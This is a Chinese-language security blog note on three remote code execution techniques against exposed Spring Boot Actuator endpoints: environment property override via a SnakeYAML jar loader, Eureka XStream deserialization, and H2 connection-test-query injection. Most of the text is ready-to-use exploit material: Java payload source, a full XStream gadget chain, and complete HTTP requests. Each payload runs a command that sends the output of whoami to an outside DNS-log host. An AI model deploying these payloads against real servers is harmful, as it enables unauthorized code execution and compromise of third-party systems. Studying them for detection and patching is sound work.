先推荐一篇文章,国内大多资料源头也来自于此:
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
因为分析的人太多了,不做展开探究,仅做笔记整理。
结尾彩蛋,emmmm,就酱~
环境属性覆盖
- 影响范围:
Spring Boot <= 1.4
Spring Boot 1.5.x (Dalston 版本)
利用前可留意/env
端点是否存在spring.cloud.bootstrap.location
属性。
#AwesomeScriptEngineFactory.java
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl `whoami`.wonkpo.dnslog.cn");
} catch (IOException e) {
e.printStackTrace();
}
}
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
#yaml-payload.yml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.x.x.x/yaml-payload.jar"]
]]
]
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
XStream反序列化
- 影响范围:
Eureka-Client <1.8.7
利用前可留意/env
端点是否存在eureka.client.serviceUrl.defaultZone
属性。
这个思路也出现在了上面推荐的文章里,通过/env
将eureka.client.serviceUrl.defaultZone
属性设置为服务器URL,然后调用/refresh
端点。
#x
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>curl `whoami`.wonkpo.dnslog.cn</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
H2 RCE
这个RCE最近莫名其妙好多人关注,坦言说他有点人造漏洞的韵味,在此稍微复现下吧,该漏洞仅存在于Spring Boot 2.x版本。
POST /actuator/env HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Type: application/json
Content-Length: 365
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl `whoami`.wonkpo.dnslog.cn');"}
POST /actuator/restart HTTP/1.1
Host: 172.19.147.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cache-Control: max-age=0
END
以上提及内容的脚本检测在SB-Actuator V1.1版本同步更新,有需求的小伙伴自行下载或及时更新旧版本。
V 1.1更新日志
增加针对env端点的深度检测:
Spring Boot 1.x版本环境属性覆盖和XStream反序列化导致的RCE
Spring Boot 2.x版本H2配置不当导致的RCE
C段查询修改为基于CIDR查询:
提供了格式判定检测,您需要正确输入CIDR格式
如:192.168.1.0/24 默认探测开启80/443端口
网友评论